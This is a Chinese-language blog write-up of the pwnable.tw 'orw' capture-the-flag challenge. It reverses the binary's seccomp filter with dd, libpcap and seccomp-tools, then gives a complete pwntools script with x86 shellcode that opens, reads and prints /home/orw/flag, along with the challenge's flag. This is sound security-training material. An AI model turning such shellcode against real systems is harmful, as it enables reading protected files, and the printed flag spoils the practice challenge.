pwnable.tw orw

Author Avatar
Aryb1n 10月 15, 2017

程序先调用了orw_seccomp函数
函数里有两个关键函数

qmemcpy(&v3, &unk_8048640, 0x60u);
v1 = 12;
v2 = &v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1); // prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &v1)

这里的v1, v2存储上是挨着的, 其实是一个结构体

prctl第一个参数是option, 每个数字代表的含义在/usr/include/linux/prctl.h里可以找到, 这个网站有参考

#define PR_SET_NO_NEW_PRIVS    38
#define PR_SET_SECCOMP    22

下面这个启用了seccomp沙盒模式, 第二个参数说明了沙盒类型seccomp_mode_filter相当于是设置了函数白名单, 具体filter了哪些函数, 看第三个参数, 第三个参数是个struct sock_fprog, 那我们在IDA里导入这个结构体….[这只是幻想…我好像还没有掌握这个技能…]

我们要做的是把从v3(offset = 0x640 ~ 0x6a0)这里开始的96字节数据dump下来, 然后看看是啥…

dd if=orw of=orw_fprog bs=1 skip=1600 count=96

我这一手不娴熟的dd操作….(bs是块的大小, skip和count用的都是这个单位好像)

对照结构体

struct sock_fprog       /* Required for SO_ATTACH_FILTER. */
{
        unsigned short          len;    /* Number of filter blocks */
        struct sock_filter      *filter;
};

struct sock_filter      /* Filter block */
{
        __u16   code;   /* Actual filter code */
        __u8    jt;     /* Jump true */
        __u8    jf;     /* Jump false */
        __u32   k;      /* Generic multiuse field */
};

我们的len就是12, 有12个block…每个8字节, 正好96字节, 我们看看sock_filter的内容

找资料说libpcap里有一个bpf_image函数可以那个…把结构体解释成人类可解读的…汇编…写了半天,不知道为什么编译不通过…留下了没技术的泪水
原来编译的时候忘了加参数…

解释代码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <pcap.h>
int main() {
    FILE * fp = fopen("./orw_fprog", "r");
    char buf1[100];
    char buf2[1000];
    struct bpf_insn aa[12];
    fread(buf1, 1, 96, fp);
    memcpy(aa, buf1, 96);
    int i;
    for(i = 0; i < 12; i++) {
        printf("%s\n", bpf_image(&aa[i], i));
    }

    return 0;
}
// gcc -o unpack unpack.c -lpcap

结果如下….然而我并不能看懂

(000) ld       [4]
(001) jeq      #0x40000003      jt 2    jf 11
(002) ld       [0]
(003) jeq      #0xad            jt 11    jf 4
(004) jeq      #0x77            jt 11    jf 5
(005) jeq      #0xfc            jt 11    jf 6
(006) jeq      #0x1             jt 11    jf 7
(007) jeq      #0x5             jt 11    jf 8
(008) jeq      #0x3             jt 11    jf 9
(009) jeq      #0x4             jt 11    jf 10
(010) ret      #327718
(011) ret      #2147418112

code是汇编指令
jt是指令结果为true的跳转
jf是指令结果为false的跳转
k是指令的参数

我猜想..这个的1, 3, 4, 5...是允许的调用号, 后面那些比较大的调用号看起来就没啥用
查找一下表

#define __NR_exit 1
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5

也就是我们能用read, writeopen….
然后这个时候, dalao和我说…人家题目上告诉你用这三个system call了…血崩…我是一个没看题的智障

后来发现了一个工具seccomp-tools

// 安装
gem install seccomp-tools
// 使用
seccomp-tools dump ./orw

就可以得到

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

就不需要人肉解读了….

除了用prctl也可以用prctl的system call来进入这个模式

所以, 下面是

from pwn import *

p = remote("chall.pwnable.tw", 10001)

# read -> open -> read -> write
shellcode = '''
mov eax, 0x03
xor ebx, ebx
mov ecx, esp
mov edx, 0x10
int 0x80

mov eax, 0x05
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80

mov ebx, eax 
mov eax, 0x03
mov ecx, esp
mov edx, 0x30
int 0x80

mov eax, 0x04
mov ebx, 1
mov ecx, esp
mov edx, 0x30
int 0x80
'''

shellcode = asm(shellcode)
p.recvuntil(":")
p.send(shellcode)

raw_input()
p.send("/home/orw/flag")
p.interactive()

# FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}